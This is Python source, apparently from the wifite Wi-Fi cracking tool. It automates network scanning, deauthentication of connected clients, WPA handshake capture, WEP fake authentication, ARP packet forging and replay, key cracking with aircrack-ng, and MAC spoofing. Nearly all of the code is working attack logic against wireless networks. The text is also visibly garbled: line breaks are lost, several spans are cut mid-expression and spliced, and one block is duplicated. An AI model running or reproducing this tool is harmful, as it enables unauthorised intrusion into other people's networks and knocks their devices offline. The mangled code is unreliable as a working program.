len(target.ssid) = 55:col = Gelif target.power >= 40: col = Oelse:col = Rprint "%s%3ddb%s" % (col,target.power, W),# WPSif WPS_DISABLE:print "%3s" % (O+'n/a'+W),else:print "%3s" % (G+'wps'+W if target.wps else R+' no'+W),# Clientsclient_text = ''for c in clients:if c.station == target.bssid: if client_text == '': client_text = 'client'elif client_text[-1] != "s": client_text += "s"if client_text != '': print '%s' % (G+client_text+W)else: print ''print ''print ' %s %s wireless networks. %s target%s and %s client%s found\r' % (GR+sec_to_hms(time.time() - time_started)+W, G+'scanning'+W, G+str(len(targets))+W, '' if len(targets) == 1 else 's', G+str(len(clients))+W, '' if len(clients) == 1 else 's'),stdout.flush()except KeyboardInterrupt:passprint ''send_interrupt(proc)try: os.kill(proc.pid, SIGTERM)except OSError: passexcept UnboundLocalError: pass# Use "wash" program to check for WPS compatibilityif not WPS_DISABLE:wps_check_targets(targets, temp + 'wifite-01.cap')remove_airodump_files(temp + 'wifite')if stop_scanning: return (targets, clients)print ''if len(targets) == 0:print R+' [!]'+O+' no targets found!'+Wprint R+' [!]'+O+' you may need to wait for targets to show up.'+Wprint ''exit_gracefully(1)

if VERBOSE_APS: os.system('clear')

# Sort by Powertargets = sorted(targets, key=lambda t: t.power, reverse=True)victims = []print "NUM ESSID%sCHENCRPOWERWPS?CLIENT" % ('BSSID' if SHOW_MAC_IN_SCAN else '')print '--- --------------------%s---------------------' % ('-----------------' if SHOW_MAC_IN_SCAN else '')for i, target in enumerate(targets):print "%s%2d%s " % (G, i + 1, W),# SSIDif target.ssid == '':p = O+'('+target.bssid+')'+GR+' '+Wprint '%s' % p.ljust(20),elif ( target.ssid.count('\x00') == len(target.ssid) ):p = ''print '%s' % C+p.ljust(20)+W,elif len(target.ssid) = 55:col = Gelif target.power >= 40: col = Oelse:col = Rprint "%s%3ddb%s" % (col,target.power, W),# WPSif WPS_DISABLE:print "%3s" % (O+'n/a'+W),else:print "%3s" % (G+'wps'+W if target.wps else R+' no'+W),# Clientsclient_text = ''for c in clients:if c.station == target.bssid: if client_text == '': client_text = 'client'elif client_text[-1] != "s": client_text += "s"if client_text != '': print '%s' % (G+client_text+W)else: print ''ri = raw_input(GR+"\n [+]"+W+" select "+G+"target numbers"+W+" ("+G+"1-%s)" % (str(len(targets))+W) + \" separated by commas, or '%s': " % (G+'all'+W))if ri.strip().lower() == 'all':victims = targets[:]else:for r in ri.split(','):r = r.strip()if r.find('-') != -1:(sx, sy) = r.split('-')if sx.isdigit() and sy.isdigit():x = int(sx)y = int(sy) + 1for v in xrange(x, y):victims.append(targets[v - 1])elif not r.isdigit() and r.strip() != '':print O+" [!]"+R+" not a number: %s " % (O+r+W)elif r != '':victims.append(targets[int(r) - 1])if len(victims) == 0:print O+'\n [!] '+R+'no targets selected.\n'+Wexit_gracefully(0)print ''print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')return (victims, clients)

def parse_csv(filename):"""Parses given lines from airodump-ng CSV file.Returns tuple: List of targets and list of clients."""if not os.path.exists(filename): return ([], [])try:f = open(filename, 'r')lines = f.read().split('\n')f.close()except IOError: return ([], [])hit_clients = Falsetargets = []clients = []for line in lines:if line.startswith('Station MAC,'): hit_clients = Trueif line.startswith('BSSID') or line.startswith('Station MAC') or line.strip() == '': continueif not hit_clients: # Access pointsc = line.split(', ', 13)if len(c) len(c) - 1: continuessid = c[cur+1]ssidlen = int(c[cur])ssid = ssid[:ssidlen]power = int(c[cur-4])if power < 0: power += 100enc = c[5]# Ignore non-WPA/WEP networks.if enc.find('WPA') == -1 and enc.find('WEP') == -1: continueif WEP_DISABLE and enc.find('WEP') != -1: continueif WPA_DISABLE and WPS_DISABLE and enc.find('WPA') != -1: continueenc = enc.strip()[:4]t = Target(c[0], power, c[cur-2].strip(), c[3], enc, ssid)targets.append(t)else: # Connected clientsc = line.split(', ')if len(c) < 6: continuebssid= re.sub(r'[^a-zA-Z0-9:]', '', c[0])station = re.sub(r'[^a-zA-Z0-9:]', '', c[5])power= c[3]if station != 'notassociated':c = Client(bssid, station, power)clients.append(c)return (targets, clients)

def wps_check_targets(targets, cap_file, verbose=True):"""Uses reaver's "walsh" (or wash) program to check access points in cap_filefor WPS functionality. Sets "wps" field of targets that match to True."""global WPS_DISABLEif not program_exists('walsh') and not program_exists('wash'):WPS_DISABLE = True # Tell 'scan' we were unable to execute walshreturnprogram_name = 'walsh' if program_exists('walsh') else 'wash'if len(targets) == 0 or not os.path.exists(cap_file): returnif verbose:print GR+' [+]'+W+' checking for '+G+'WPS compatibility'+W+'...',stdout.flush()cmd = [program_name,'-f', cap_file,'-C'] # ignore Frame Check Sum errorsproc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)proc_walsh.wait()for line in proc_walsh.communicate()[0].split('\n'):if line.strip() == '' or line.startswith('Scanning for'): continuebssid = line.split(' ')[0]for t in targets:if t.bssid.lower() == bssid.lower():t.wps = Trueif verbose:print 'done'removed = 0if not WPS_DISABLE and WPA_DISABLE:i = 0while i < len(targets):if not targets[i].wps and targets[i].encryption.find('WPA') != -1:removed += 1targets.pop(i)else: i += 1if removed > 0 and verbose: print GR+' [+]'+O+' removed %d non-WPS-enabled targets%s' % (removed, W)

def rtl8187_fix(iface):"""Attempts to solve "Unknown error 132" common with RTL8187 devices.Puts down interface, unloads/reloads driver module, then puts iface back up.Returns True if fix was attempted, False otherwise."""# Check if current interface is using the RTL8187 chipsetproc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)proc_airmon.wait()using_rtl8187 = Falsefor line in proc_airmon.communicate()[0].split():line = line.upper()if line.strip() == '' or line.startswith('INTERFACE'): continueif line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = Trueif not using_rtl8187: # Display error message and exitprint R+' [!]'+O+' unable to generate airodump-ng CSV file'+Wprint R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+Wexit_gracefully(1)print O+" [!]"+W+" attempting "+O+"RTL8187 'Unknown Error 132'"+W+" fix..."original_iface = iface# Take device out of monitor modeairmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)airmon.wait()for line in airmon.communicate()[0].split('\n'):if line.strip() == '' or \line.startswith("Interface") or \line.find('(removed)') != -1:continueoriginal_iface = line.split()[0] # line[:line.find('\t')]# Remove drive modules, block/unblock ifaces, probe new modules.print_and_exec(['ifconfig', original_iface, 'down'])print_and_exec(['rmmod', 'rtl8187'])print_and_exec(['rfkill', 'block', 'all'])print_and_exec(['rfkill', 'unblock', 'all'])print_and_exec(['modprobe', 'rtl8187'])print_and_exec(['ifconfig', original_iface, 'up'])print_and_exec(['airmon-ng', 'start', original_iface])print '\r\r',print O+' [!] '+W+'restarting scan...\n'return True

def print_and_exec(cmd):"""Prints and executes command "cmd". Also waits half a secondUsed by rtl8187_fix (for prettiness)"""print '\r\r',stdout.flush()print O+' [!] '+W+'executing: '+O+' '.join(cmd) + W,stdout.flush()call(cmd, stdout=DN, stderr=DN)time.sleep(0.1)

##################### HELPER FUNCTIONS #####################

def remove_airodump_files(prefix):"""Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)Used by wpa_get_handshake() and attack_wep()"""remove_file(prefix + '-01.cap')remove_file(prefix + '-01.csv')remove_file(prefix + '-01.kismet.csv')remove_file(prefix + '-01.kismet.netxml')for filename in os.listdir(temp):if filename.lower().endswith('.xor'): remove_file(temp + filename)for filename in os.listdir('.'):if filename.startswith('replay_') and filename.endswith('.cap'):remove_file(filename)if filename.endswith('.xor'): remove_file(filename)# Remove .cap's from previous attack sessions"""i = 2while os.path.exists(temp + 'wep-' + str(i) + '.cap'):os.remove(temp + 'wep-' + str(i) + '.cap')i += 1"""

def remove_file(filename):"""Attempts to remove a file. Does not throw error if file is not found."""try: os.remove(filename)except OSError: pass

def program_exists(program):"""Uses 'which' (linux command) to check if a program is installed."""proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)txt = proc.communicate()if txt[0].strip() == '' and txt[1].strip() == '':return Falseif txt[0].strip() != '' and txt[1].strip() == '':return Truereturn not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)

def sec_to_hms(sec):"""Converts integer sec to h:mm:ss format"""if sec 17: mac = mac[0:17]return mac

def generate_random_mac(old_mac):"""Generates a random MAC address.Keeps the same vender (first 6 chars) of the old MAC address (old_mac).Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex"""random.seed()new_mac = old_mac[:8].lower().replace('-', ':')for i in xrange(0, 6):if i % 2 == 0: new_mac += ':'new_mac += '0123456789abcdef'[random.randint(0,15)]# Prevent generating the same MAC address via recursion.if new_mac == old_mac:new_mac = generate_random_mac(old_mac)return new_mac

def mac_anonymize(iface):"""Changes MAC address of 'iface' to a random MAC.Only randomizes the last 6 digits of the MAC, so the vender says the same.Stores old MAC address and the interface in ORIGINAL_IFACE_MAC"""global ORIGINAL_IFACE_MACif DO_NOT_CHANGE_MAC: returnif not program_exists('ifconfig'): return# Store old (current) MAC addressproc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)proc.wait()for word in proc.communicate()[0].split('\n')[0].split(' '):if word != '': old_mac = wordORIGINAL_IFACE_MAC = (iface, old_mac)new_mac = generate_random_mac(old_mac)call(['ifconfig', iface, 'down'])print GR+" [+]"+W+" changing %s's MAC from %s to %s..." % (G+iface+W, G+old_mac+W, O+new_mac+W),stdout.flush()proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)proc.wait()call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)print 'done'

def mac_change_back():"""Changes MAC address back to what it was before attacks began."""iface = ORIGINAL_IFACE_MAC[0]old_mac = ORIGINAL_IFACE_MAC[1]if iface == '' or old_mac == '': returnprint GR+" [+]"+W+" changing %s's mac back to %s..." % (G+iface+W, G+old_mac+W),stdout.flush()call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)proc.wait()call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)print "done"

def analyze_capfile(capfile):"""Analyzes given capfile for handshakes using various programs.Prints results to console."""global TARGET_BSSID, TARGET_ESSIDif TARGET_ESSID == '' and TARGET_BSSID == '':print R+' [!]'+O+' target ssid and bssid are required to check for handshakes'print R+' [!]'+O+' please enter essid (access point name) using -e 'print R+' [!]'+O+' and/or target bssid (mac address) using -b \n'# exit_gracefully(1)if TARGET_BSSID == '':# Get the first BSSID found in tshark!TARGET_BSSID = get_bssid_from_cap(TARGET_ESSID, capfile)# if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''if TARGET_BSSID == '':print R+' [!]'+O+' unable to guess BSSID from ESSID!'else:print GR+' [+]'+W+' guessed bssid: %s' % (G+TARGET_BSSID+W)if TARGET_BSSID != '' and TARGET_ESSID == '':TARGET_ESSID = get_essid_from_cap(TARGET_BSSID, capfile)print GR+'\n [+]'+W+' checking for handshakes in %s' % (G+capfile+W)t = Target(TARGET_BSSID, '', '', '', 'WPA', TARGET_ESSID)if program_exists('pyrit'):result = has_handshake_pyrit(t, capfile)print GR+' [+]'+W+''+G+'pyrit'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)else: print R+' [!]'+O+' program not found: pyrit'if program_exists('cowpatty'):result = has_handshake_cowpatty(t, capfile, nonstrict=True)print GR+' [+]'+W+''+G+'cowpatty'+W+' (nonstrict):\t %s' % (G+'found!'+W if result else O+'not found'+W)result = has_handshake_cowpatty(t, capfile, nonstrict=False)print GR+' [+]'+W+''+G+'cowpatty'+W+' (strict):\t %s' % (G+'found!'+W if result else O+'not found'+W)else: print R+' [!]'+O+' program not found: cowpatty'if program_exists('tshark'):result = has_handshake_tshark(t, capfile)print GR+' [+]'+W+''+G+'tshark'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)else: print R+' [!]'+O+' program not found: tshark'if program_exists('aircrack-ng'):result = has_handshake_aircrack(t, capfile)print GR+' [+]'+W+''+G+'aircrack-ng'+W+':\t\t %s' % (G+'found!'+W if result else O+'not found'+W)else: print R+' [!]'+O+' program not found: aircrack-ng'

print ''

exit_gracefully(0)

def get_essid_from_cap(bssid, capfile):"""Attempts to get ESSID from cap file using BSSID as reference.Returns '' if not found."""if not program_exists('tshark'): return ''

cmd = ['tshark','-r', capfile,'-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,'-n']proc = Popen(cmd, stdout=PIPE, stderr=DN)proc.wait()for line in proc.communicate()[0].split('\n'):if line.find('SSID=') != -1:essid = line[line.find('SSID=')+5:]print GR+' [+]'+W+' guessed essid: %s' % (G+essid+W)return essidprint R+' [!]'+O+' unable to guess essid!'+Wreturn ''

def get_bssid_from_cap(essid, capfile):"""Returns first BSSID of access point found in cap file.This is not accurate at all, but it's a good guess.Returns '' if not found."""global TARGET_ESSIDif not program_exists('tshark'): return ''

# Attempt to get BSSID based on ESSIDif essid != '':cmd = ['tshark','-r', capfile,'-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),'-n',# Do not resolve MAC vendor names'-T', 'fields',# Only display certain fields'-e', 'wlan.sa'] # souce MAC addressproc = Popen(cmd, stdout=PIPE, stderr=DN)proc.wait()bssid = proc.communicate()[0].split('\n')[0]if bssid != '': return bssidcmd = ['tshark','-r', capfile,'-R', 'eapol','-n']proc = Popen(cmd, stdout=PIPE, stderr=DN)proc.wait()for line in proc.communicate()[0].split('\n'):if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):while line.startswith(' ') or line.startswith('\t'): line = line[1:]line = line.replace('\t', ' ')while line.find('') != -1: line = line.replace('', ' ')return line.split(' ')[2]elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):while line.startswith(' ') or line.startswith('\t'): line = line[1:]line = line.replace('\t', ' ')while line.find('') != -1: line = line.replace('', ' ')return line.split(' ')[4]return ''

def exit_gracefully(code=0):"""We may exit the program at any time.We want to remove the temp folder and any files contained within it.Removes the temp files/folder and exists with error code "code"."""# Remove temp files and folderif os.path.exists(temp):for file in os.listdir(temp):os.remove(temp + file)os.rmdir(temp)# Disable monitor mode if enabled by usdisable_monitor_mode()# Change MAC address back if spoofedmac_change_back()print GR+" [+]"+W+" quitting" # wifite will now exit"print ''# GTFOexit(code)

def attack_interrupted_prompt():"""Promps user to decide if they want to exit, skip to cracking WPA handshakes,or continue attacking the remaining targets (if applicable).returns True if user chose to exit complete, False otherwise"""global TARGETS_REMAININGshould_we_exit = False# If there are more targets to attack, ask what to do nextif TARGETS_REMAINING > 0:options = ''print GR+"\n [+] %s%d%s target%s remain%s" % (G, TARGETS_REMAINING, W,'' if TARGETS_REMAINING == 1 else 's', 's' if TARGETS_REMAINING == 1 else '')print GR+" [+]"+W+" what do you want to do?"options += G+'c'+Wprint G+"[c]ontinue"+W+" attacking targets"if len(WPA_CAPS_TO_CRACK) > 0:options += W+', '+O+'s'+Wprint O+"[s]kip"+W+" to cracking WPA cap files"options += W+', or '+R+'e'+Wprint R+"[e]xit"+W+" completely"ri = ''while ri != 'c' and ri != 's' and ri != 'e': ri = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % options)if ri == 's':TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to crackingelif ri == 'e':should_we_exit = Truereturn should_we_exit

################## WPA FUNCTIONS ##################

def wpa_get_handshake(iface, target, clients):"""Opens an airodump capture on the target, dumping to a file.During the capture, sends deauthentication packets to the target both asgeneral deauthentication packets and specific packets aimed at connected clients.Waits until a handshake is captured."iface"- interface to capture on"target"- Target object containing info on access point"clients" - List of Client objects associated with the targetReturns True if handshake was found, False otherwise"""global TARGETS_REMAINING, WPA_ATTACK_TIMEOUT

if WPA_ATTACK_TIMEOUT = 4:return Truereturn False

def has_handshake_cowpatty(target, capfile, nonstrict=True):"""Uses cowpatty to check for a handshake.Returns "True" if handshake is found, false otherwise."""if not program_exists('cowpatty'): return False# Call cowpatty to check if capfile contains a valid handshake.cmd = ['cowpatty','-r', capfile,# input file'-s', target.ssid, # SSID'-c']# Check for handshake# Uses frames 1, 2, or 3 for key attackif nonstrict: cmd.append('-2')proc = Popen(cmd, stdout=PIPE, stderr=DN)proc.wait()response = proc.communicate()[0]if response.find('incomplete four-way handshake exchange') != -1:return Falseelif response.find('Unsupported or unrecognized pcap file.') != -1:return Falseelif response.find('Unable to open capture file: Success') != -1:return Falsereturn True

def has_handshake_pyrit(target, capfile):"""Uses pyrit to check for a handshake.Returns "True" if handshake is found, false otherwise."""if not program_exists('pyrit'): return False# Call pyrit to "Analyze" the cap file's handshakes.cmd = ['pyrit','-r', capfile,'analyze']proc = Popen(cmd, stdout=PIPE, stderr=DN)proc.wait()hit_essid = Falsefor line in proc.communicate()[0].split('\n'):# Iterate over every line of output by Pyritif line == '' or line == None: continueif line.find("AccessPoint") != -1:hit_essid = (line.find("('" + target.ssid + "')") != -1) and \(line.lower().find(target.bssid.lower()) != -1)#hit_essid = (line.lower().find(target.bssid.lower()))else:# If Pyrit says it's good or workable, it's a valid handshake.if hit_essid and (line.find(', good, ') != -1 or \line.find(', workable, ') != -1):# or line.find(', bad, ') != -1):return Truereturn False

def has_handshake_aircrack(target, capfile):"""Uses aircrack-ng to check for handshake.Returns True if found, False otherwise."""if not program_exists('aircrack-ng'): return Falsecrack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfileproc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)proc_crack.wait()txt = proc_crack.communicate()[0]return (txt.find('Passphrase not in dictionary') != -1)

def has_handshake(target, capfile):"""Checks if .cap file contains a handshake.Returns True if handshake is found, False otherwise."""valid_handshake = Truetried = Falseif WPA_HANDSHAKE_TSHARK:tried = Truevalid_handshake = has_handshake_tshark(target, capfile)if valid_handshake and WPA_HANDSHAKE_COWPATTY:tried = Truevalid_handshake = has_handshake_cowpatty(target, capfile)# Use CowPatty to check for handshake.if valid_handshake and WPA_HANDSHAKE_COWPATTY:tried = Truevalid_handshake = has_handshake_cowpatty(target, capfile)# Check for handshake using Pyrit if applicableif valid_handshake and WPA_HANDSHAKE_PYRIT:tried = Truevalid_handshake = has_handshake_pyrit(target, capfile)# Check for handshake using aircrack-ngif valid_handshake and WPA_HANDSHAKE_AIRCRACK:tried = Truevalid_handshake = has_handshake_aircrack(target, capfile)if tried: return valid_handshakeprint R+' [!]'+O+' unable to check for handshake: all handshake options are disabled!'exit_gracefully(1)

def strip_handshake(capfile):"""Uses Tshark or Pyrit to strip all non-handshake packets from a .cap fileFile in location 'capfile' is overwritten!"""output_file = capfileif program_exists('pyrit'):cmd = ['pyrit','-r', capfile,'-o', output_file,'strip']call(cmd,stdout=DN, stderr=DN)elif program_exists('tshark'):# strip results with tsharkcmd = ['tshark','-r', capfile,# input file'-R', 'eapol || wlan_mgt.tag.interpretation', # filter'-w', capfile + '.temp'] # output fileproc_strip = call(cmd, stdout=DN, stderr=DN)rename(capfile + '.temp', output_file)else:print R+" [!]"+O+" unable to strip .cap file: neither pyrit nor tshark were found"+W

def save_cracked(bssid, ssid, key, encryption):"""Saves cracked access point key and info to a file."""sep = chr(0)fout = open('cracked.txt', 'a')fout.write(bssid + sep + ssid + sep + key + sep + encryption + '\n')fout.flush()fout.close()

def load_cracked():"""Loads info about cracked access points into list, returns list."""result = []if not os.path.exists('cracked.txt'): return resultfin = open('cracked.txt', 'r')lines = fin.read().split('\n')fin.close()for line in lines:fields = line.split(chr(0))if len(fields) 30:print "\r %s deauthing to generate packets..." % (GR+current_hms+W),wep_send_deauths(iface, target, clients)print "done\r",last_deauth = time.time()last_ivs = ivsstdout.flush()if total_ivs + ivs >= WEP_CRACK_AT_IVS and not started_cracking:# Start crackingcmd = ['aircrack-ng','-a', '1','-l', temp + 'wepkey.txt']#temp + 'wep-01.cap']# Append all .cap files in temp directory (in case we are resuming)for file in os.listdir(temp):if file.startswith('wep-') and file.endswith('.cap'):cmd.append(temp + file)

print "\r %s started %s (%sover %d ivs%s)" % (GR+current_hms+W, G+'cracking'+W, G, WEP_CRACK_AT_IVS, W)proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)started_cracking = True# Check if key has been cracked yet.if os.path.exists(temp + 'wepkey.txt'):# Cracked!infile = open(temp + 'wepkey.txt', 'r')key = infile.read().replace('\n', '')infile.close()print '\n\n %s %s %s (%s)! key: "%s"' % (current_hms, G+'cracked', target.ssid+W, G+target.bssid+W, C+key+W)WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (target.ssid, target.bssid, key))WEP_FINDINGS.append('')save_cracked(target.bssid, target.ssid, key, 'WEP')# Kill processessend_interrupt(proc_airodump)send_interrupt(proc_aireplay)try: os.kill(proc_aireplay, SIGTERM)except: passsend_interrupt(proc_aircrack)# Remove files generated by airodump/aireplay/packetforcetime.sleep(0.5)remove_airodump_files(temp + 'wep')remove_file(temp + 'wepkey.txt')return True# Check if aireplay is still executingif proc_aireplay.poll() == None: if replaying: print ', '+G+'replaying\r'+W,elif attack_num == 1 or attack_num == 2: print ', waiting for packet\r',stdout.flush()continue# At this point, aireplay has stoppedif attack_num != 1 and attack_num != 2:print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R+current_hms, O, W)break # Break out of attack's While loop# Check for a .XOR file (we expect one when doing chopchop/fragmentationxor_file = ''for filename in sorted(os.listdir(temp)):if filename.lower().endswith('.xor'): xor_file = temp + filenameif xor_file == '':print '\r %s attack failed: %sunable to generate keystream%s' % (R+current_hms, O, W)breakremove_file(temp + 'arp.cap')cmd = ['packetforge-ng','-0','-a', targets.bssid,'-h', client_mac,'-k', '192.168.1.2','-l', '192.168.1.100','-y', xor_file,'-w', temp + 'arp.cap',iface]proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)proc_pforge.wait()forged_packet = proc_pforge.communicate()[0]remove_file(xor_file)if forged_packet == None: result = ''forged_packet = forged_packet.strip()if not forged_packet.find('Wrote packet'):print "\r %s attack failed: unable to forget ARP packet%s" % (R+current_hms+O, w)break# We were able to forge a packet, so let's replay it via aireplay-ngcmd = ['aireplay-ng','--arpreplay','-b', target.bssid,'-r', temp + 'arp.cap', # Used the forged ARP packet'-F', # Select the first packetiface]proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)print '\r %s forged %s! %s...' % (GR+current_hms+W, G+'arp packet'+W, G+'replaying'+W)replaying = True# After the attacks, if we are already cracking, wait for the key to be found!while started_cracking: # ivs > WEP_CRACK_AT_IVS:time.sleep(5)# Check number of IVs capturedcsv = parse_csv(temp + 'wep-01.csv')[0]if len(csv) > 0:ivs = int(csv[0].data)print GR+" [endless]"+W+" captured %s%d%s ivs, iv/sec: %s%d%s\r" % \ (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),last_ivs = ivsstdout.flush()# Check if key has been cracked yet.if os.path.exists(temp + 'wepkey.txt'):# Cracked!infile = open(temp + 'wepkey.txt', 'r')key = infile.read().replace('\n', '')infile.close()print GR+'\n\n [endless] %s %s (%s)! key: "%s"' % (G+'cracked', target.ssid+W, G+target.bssid+W, C+key+W)WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (target.ssid, target.bssid, key))WEP_FINDINGS.append('')save_cracked(target.bssid, target.ssid, key, 'WEP')# Kill processessend_interrupt(proc_airodump)send_interrupt(proc_aireplay)send_interrupt(proc_aircrack)# Remove files generated by airodump/aireplay/packetforceremove_airodump_files(temp + 'wep')remove_file(temp + 'wepkey.txt')return True# Keyboard interrupt during attackexcept KeyboardInterrupt:print R+'\n (^C)'+O+' WEP attack interrupted\n'+Wsend_interrupt(proc_airodump)if proc_aireplay != None:send_interrupt(proc_aireplay)if proc_aircrack != None:send_interrupt(proc_aircrack)options = []selections = []if remaining_attacks > 0:options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \(G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))selections.append(G+'c'+W)if TARGETS_REMAINING > 0:options.append('%sskip%sthis target, move onto next target (%d remaining target%s)' % \(O, W, TARGETS_REMAINING, 's' if TARGETS_REMAINING != 1 else ''))selections.append(O+'s'+W)options.append('%sexit%sthe program completely' % (R, W))selections.append(R+'e'+W)if len(options) > 1:# Ask user what they want to do, Store answer in "response"print GR+' [+]'+W+' what do you want to do?'response = ''while response != 'c' and response != 's' and response != 'e':for option in options:print '%s' % optionresponse = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % (', '.join(selections))).lower()[0]else:response = 'e'if response == 'e' or response == 's':# Exit or skip target (either way, stop this attack)if WEP_SAVE:# Save packetssave_as = re.sub(r'[^a-zA-Z0-9]', '', target.ssid) + '_' + target.bssid.replace(':', '-') + '.cap'+Wtry:rename(temp + 'wep-01.cap', save_as)except OSError: print R+' [!]'+O+' unable to save capture file!'+Welse:print GR+' [+]'+W+' packet capture '+G+'saved'+W+' to '+G+save_as+W# Remove files generated by airodump/aireplay/packetforcefor filename in os.listdir('.'):if filename.startswith('replay_arp-') and filename.endswith('.cap'):remove_file(filename)remove_airodump_files(temp + 'wep')remove_file(temp + 'wepkey.txt')print ''if response == 'e':exit_gracefully(0)returnelif response == 'c':# Continue attacks# Need to backup temp/wep-01.cap and remove airodump filesi = 2while os.path.exists(temp + 'wep-' + str(i) + '.cap'):i += 1copy(temp + "wep-01.cap", temp + 'wep-' + str(i) + '.cap')remove_airodump_files(temp + 'wep')# Need to restart airodump-ng, as it's been interrupted/killedproc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)# Say we haven't started cracking yet, so we re-start if needed.started_cracking = False# Reset IVs counters for proper behaviortotal_ivs += ivsivs = 0last_ivs = 0# Also need to remember to crack "temp/*.cap" instead of just wep-01.cappassif successful:print GR+'\n [0:00:00]'+W+' attack complete: '+G+'success!'+Welse:print GR+'\n [0:00:00]'+W+' attack complete: '+R+'failure'+Wsend_interrupt(proc_airodump)if proc_aireplay != None:send_interrupt(proc_aireplay)# Remove files generated by airodump/aireplay/packetforcefor filename in os.listdir('.'):if filename.startswith('replay_arp-') and filename.endswith('.cap'):remove_file(filename)remove_airodump_files(temp + 'wep')remove_file(temp + 'wepkey.txt')

def wep_fake_auth(iface, target, time_to_display):"""Attempt to (falsely) authenticate with a WEP access point.Gives 3 seconds to make each 5 authentication attempts.Returns True if authentication was successful, False otherwise."""max_wait = 3 # Time, in seconds, to allow each fake authenticationmax_attempts = 5 # Number of attempts to makefor fa_index in xrange(1, max_attempts + 1):print '\r',print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \(GR+time_to_display+W, G, W, fa_index, max_attempts),stdout.flush()cmd = ['aireplay-ng','-1', '0', # Fake auth, no delay'-a', target.bssid,'-T', '1'] # Make 1 attemptif target.ssid != '':cmd.append('-e')cmd.append(target.ssid)cmd.append(iface)proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)started = time.time()while proc_fakeauth.poll() == None and time.time() - started max_wait:send_interrupt(proc_fakeauth)print R+'failed'+W,stdout.flush()time.sleep(0.5)continueresult = proc_fakeauth.communicate()[0].lower()if result.find('switching to shared key') != -1 or \ result.find('rejects open system'): pass # TODO Shared Key Authentication (SKA)if result.find('association successful') != -1:print G+'success!'+Wreturn Trueprint R+'failed'+W,stdout.flush()time.sleep(0.5)continueprint ''return False

def get_aireplay_command(iface, attack_num, target, clients, client_mac):"""Returns aireplay-ng command line arguments based on parameters."""cmd = ''if attack_num == 0:cmd = ['aireplay-ng','--arpreplay','-b', target.bssid,'-x', str(WEP_PPS)] # Packets per secondif client_mac != '': cmd.append('-h')cmd.append(client_mac)elif len(clients) > 0: cmd.append('-h')cmd.append(clients[0].bssid)cmd.append(iface)elif attack_num == 1:cmd = ['aireplay-ng','--chopchop','-b', target.bssid,'-x', str(WEP_PPS), # Packets per second'-m', '60', # Minimum packet length (bytes)'-n', '82', # Maxmimum packet length'-F'] # Automatically choose the first packetif client_mac != '': cmd.append('-h')cmd.append(client_mac)elif len(clients) > 0: cmd.append('-h')cmd.append(clients[0].bssid)cmd.append(iface)elif attack_num == 2:cmd = ['aireplay-ng','--fragment','-b', target.bssid,'-x', str(WEP_PPS), # Packets per second'-m', '100', # Minimum packet length (bytes)'-F'] # Automatically choose the first packetif client_mac != '': cmd.append('-h')cmd.append(client_mac)elif len(clients) > 0: cmd.append('-h')cmd.append(clients[0].bssid)cmd.append(iface)elif attack_num == 3:cmd = ['aireplay-ng','--caffe-latte','-b', target.bssid]if len(clients) > 0:cmd.append('-h')cmd.append(clients[0].bssid)cmd.append(iface)elif attack_num == 4:cmd = ['aireplay-ng','--interactive','-b', target.bssid,'-c', 'ff:ff:ff:ff:ff:ff','-t', '1', # Only select packets with ToDS bit set'-x', str(WEP_PPS), # Packets per second'-F',# Automatically choose the first packet'-p', '0841']cmd.append(iface)elif attack_num == 5:if len(clients) == 0:print R+' [0:00:00] unable to carry out hirte attack: '+O+'no clients'return ''cmd = ['aireplay-ng','--cfrag','-h', clients[0].bssid,iface]return cmd

def wep_send_deauths(iface, target, clients):"""Sends deauth packets to broadcast and every client."""# Send deauth to broadcastcmd = ['aireplay-ng','--deauth', '1','-a', target.bssid,iface]call(cmd, stdout=DN, stderr=DN)# Send deauth to every clientfor client in clients:cmd = ['aireplay-ng','--deauth', '1','-a', target.bssid,'-h', client.bssid,iface]call(cmd, stdout=DN, stderr=DN)

################## WPS FUNCTIONS ##################

